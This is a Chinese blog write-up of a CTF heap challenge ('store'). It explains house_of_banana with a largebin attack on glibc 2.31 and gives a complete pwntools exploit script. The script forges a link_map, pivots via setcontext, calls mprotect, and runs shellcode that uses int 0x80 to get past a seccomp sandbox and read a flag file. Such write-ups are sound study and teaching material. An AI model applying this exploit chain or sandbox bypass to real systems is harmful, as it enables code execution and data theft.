强网拟态store——house_of_banana解法

store——house_of_banana

向高版本堆题进军!

这个博客先记一下EXP,具体的large_bin_attack利用手法和house_of_banana技巧等一下再更新。

这个题目等几天我尝试放在github上(不咋会用,悲...)

参考了队友线下复现的解法(链接如下),在这里狠狠滴舔我们滴梁神(猫猫虫乱舔.jpg)
store

这道题还有别的解法,大家可以找,好像有人是用house of apple做的

踩过的坑

1.找_rtld_global

起手肯定是用largebin chunk残留指针leak出来heapbase和libcbase,然后算各种需要的全局变量和函数的地址,但是要注意libcbase+libc.symbols['_rtld_global']这个东西算的并不是_rtld_global这个全局变量的地址,而是一个指向_rtld_global指针的地址!

所以比较稳妥的做法是直接在gdb里面p &_rtld_global找地址算偏移。

你上网上找能找到足够的关于house_of_banana中伪造link_map的讲解,我推荐这两篇文章:

house of banana

关于house of banana的学习总结

但是需要再次强调一点:通过largebin_attack写进_ns_loaded指针的是chunk头部地址,而非chunk的mem的地址!这就意味着fake_link_name的l_addr和name域不需要再伪造了!!!!同样,如果你在后面array数组那里计算地址的时候,在脚本中像我一样用了len(fake_link_map)的方式来计算地址,请务必记住加上chunk头大小0x10来修正!

不然后果就是像我一样在凌晨两点调了整整一个小时不知道哪里错了....

3.寄存器地址问题

打完house_of_banana,把栈迁移到heap段之后,就面临orw的问题,这个题目可以用int 0x80跑五号系统调用,这个系统调用号会被当做64位的fstat而通过检测,但是你用int 0x80去泡,实际上跑的是open,就绕过了沙箱的限制。

但是open的时候需要填入flag字符串的地址,这个地址必须能用四个字节表示,也就是说能装进ebx这个寄存器中。因此heap段写入./flag字符串就不可行了,因为heap段起始地址是12位的16进制数,ebx装不下。需要用mmap2这个系统调用(mmap不知道为啥不行,和open同理不会被杀,但是分配不出来)给我们映射一个地址较低的空间(如0x50000)。

注意esi要设置为0x22,仅仅设置为0x20的匿名映射是不够的。

read和write记得换回syscall,int 0x80会寄掉

另外调试的时候检查一下自家有没有./flag这个文件,不然就会像我这憨憨意义调了半天open都没返回3号文件描述符,挠破头也不知道问题在哪...

EXP

from pwn import *

context.terminal=['tmux','splitw','-h']
context.arch='amd64'
context.log_level='debug'

ELFpath='/home/wjc/Desktop/store'
libcpath='/home/wjc/Desktop/libc-2.31.so'

r=process(ELFpath)
#r=gdb.debug(ELFpath,'b*$rebase(0x1912)')
libc=ELF(libcpath)

ru=lambda s :r.recvuntil(s)
rc=lambda n :r.recv(n)
sl=lambda s :r.sendline(s)
sd=lambda s :r.send(s) 

LOGTOOL={}

def LOGALL():
    log.success("**** all result ****")
    for i in LOGTOOL.items():
        log.success("%-25s%s"%(i[0]+":",hex(i[1])))
def cmd(idx):
    ru('choice: ')
    sl(str(idx))
def Add(size,content,remark):
    cmd(1)
    ru('Size: ')
    sl(str(size))
    ru('Content: ')
    sd(content)
    ru('Remark: ')
    sd(remark)
def Add_fake(size):
    cmd(1)
    ru('Size: ')
    sl(str(size))
def Del(idx):
    cmd(2)
    ru('Index: ')
    sl(str(idx))
def Edit(idx,content,remark):
    cmd(3)
    ru('Index: ')
    sl(str(idx))
    ru('Content: ')
    sd(content)
    ru('Remark: ')
    sd(remark)
def Show(idx):
    cmd(4)
    ru('Index: ')
    sl(str(idx))

Add(0x420,8*'a',8*'A')
Add(0x410,8*'b',8*'B')

Del(0)
Show(0)

libcbase=u64(ru('\x7f')[-6:].ljust(8,'\x00'))-(0x7f5a17800be0-0x7f5a17615000)
largebin=libcbase+(0x00007f91c1ba7fe0-0x7f91c19bc000)
IO_list_all=libcbase+libc.symbols['_IO_list_all']
rtld_global_ptr=libcbase+libc.symbols['_rtld_global']
rtld_global=libcbase+(0x7f99ea63b060-0x7f99ea419000)
next_link_map_addr=libcbase+(0x7fc92e987740-0x7fc92e764000)
setcontext_61=libcbase+libc.symbols['setcontext']+61
mprotect_addr=libcbase+libc.symbols['mprotect']

LOGTOOL['libcbase']=libcbase
LOGTOOL['largebin']=largebin
LOGTOOL['IO_list_all']=IO_list_all
LOGTOOL['rtld_global_ptr']=rtld_global_ptr
LOGTOOL['rtld_global']=rtld_global
LOGTOOL['setcontext+61']=setcontext_61
LOGTOOL['mprotect_addr']=mprotect_addr

ret_addr=libcbase+0x25679

LOGTOOL['ret_addr']=ret_addr

Add_fake(0x440)
Edit(0,0x10*'c',0x10*'C')
Show(0)

ru(0x10*'c')
heapbase=u64(rc(6).ljust(8,'\x00'))-(0x562c05930290-0x562c05930000)
LOGTOOL['heapbase']=heapbase

Edit(0,p64(largebin)*2+p64(0)+p64(rtld_global-0x20),0x10*'C')
Del(1)
Add_fake(0x440)

fake_link_map_addr=heapbase+(0x5595fbf08af0-0x5595fbf08000)
RWX_addr=heapbase+(0x5559f15312a0-0x5559f1531000)
flag_str_addr=fake_link_map_addr+(0x55f944515c20-0x55f944515af0)

LOGTOOL['fake_link_map_addr']=fake_link_map_addr
LOGTOOL['RWX_addr']=RWX_addr

fake_link_map =p64(0)*1
fake_link_map+=p64(next_link_map_addr)  #l_next
fake_link_map+=p64(0)
fake_link_map+=p64(fake_link_map_addr)  #l_real
fake_link_map+=p64(0)*2

#fake l_info
fake_link_map_info_addr=fake_link_map_addr+len(fake_link_map)+0x10
fake_link_map_info =p64(0)*26
fake_link_map_info+=p64(fake_link_map_info_addr+0x8*26)   #l_info[26]
fake_link_map_info+=p64(fake_link_map_info_addr+0x8*30)   #l_info[26]->d_un->d_ptr
fake_link_map_info+=p64(fake_link_map_info_addr+0x8*28)   #l_info[28]
fake_link_map_info+=p64(0x8*4)                            #l_info[28]->d_un->val

#array start
fake_link_map_info+='flag\x00\x00\x00\x00'  
fake_link_map_info+=p64(0)
fake_link_map_info+=p64(setcontext_61)
#rdx_start
rdx_start =p64(ret_addr)        #old_rdx

rdx_start =rdx_start.ljust(0x68,'\x00')
rdx_start+=p64(heapbase)         #rdx+0x68   rdi
rdx_start+=p64(0x21000)          #rdx+0x70   rsi
rdx_start+=p64(RWX_addr+0x100)  #rdx+0x78   rbp
rdx_start =rdx_start.ljust(0x88,'\x00')
rdx_start+=p64(7)               #rdx+0x88   rdx
rdx_start =rdx_start.ljust(0xa0,'\x00')
rdx_start+=p64(RWX_addr+8)        #rdx+0xa0   rsp
rdx_start =rdx_start.ljust(0xa8,'\x00')
rdx_start+=p64(mprotect_addr)   #rdx+0xa8   rcx

fake_link_map_info+=rdx_start

#fake_link_map_info =fake_link_map_info.ljust(8*76,'\x00')

fake_link_map+=fake_link_map_info
fake_link_map =fake_link_map.ljust(0x310+8+4-0x10,'\x00')
fake_link_map+=p32(0x8)


pay =p64(0)                 #overflowed by 'push rcx'
pay+=p64(RWX_addr+0x100)
pay =pay.ljust(0x100,'\x00')


shellcode='''
    add rsp,0x78
    push 0x0
    mov edi,-1
    mov esi,0x22
    mov edx,7
    mov ecx,0x1000
    mov ebx,0x50000
    mov eax,0xc0
    int 0x80
    nop
    mov rax,0x67616c662f2e
    mov [0x50000],rax
    nop
    xor edi,edi
    xor esi,esi
    xor edx,edx
    mov ecx,0
    mov ebx,0x50000
    mov eax,5
    int 0x80
    nop
    mov rdx,0x80
    mov rsi,0x50010
    mov rdi,0x3
    mov rax,0
    syscall
    nop
    mov rdx,0x80
    mov rsi,0x50010
    mov rdi,0x1
    mov rax,1
    syscall
    nop
    '''
pay+=asm(shellcode)

#load shellcode
Edit(0,pay,'AAAAAAAA')

#create fake_link_map
Edit(1,fake_link_map,'BBBBBBBB')

#gdb.attach(r,'b*$rebase(0x19C1)\nb*'+hex(setcontext_61))
#gdb.attach(r)

#pause()
cmd(5)

LOGALL()

r.interactive()

posted @ 2023-04-03 12:05  Jmp·Cliff  阅读(277)  评论(0编辑  收藏  举报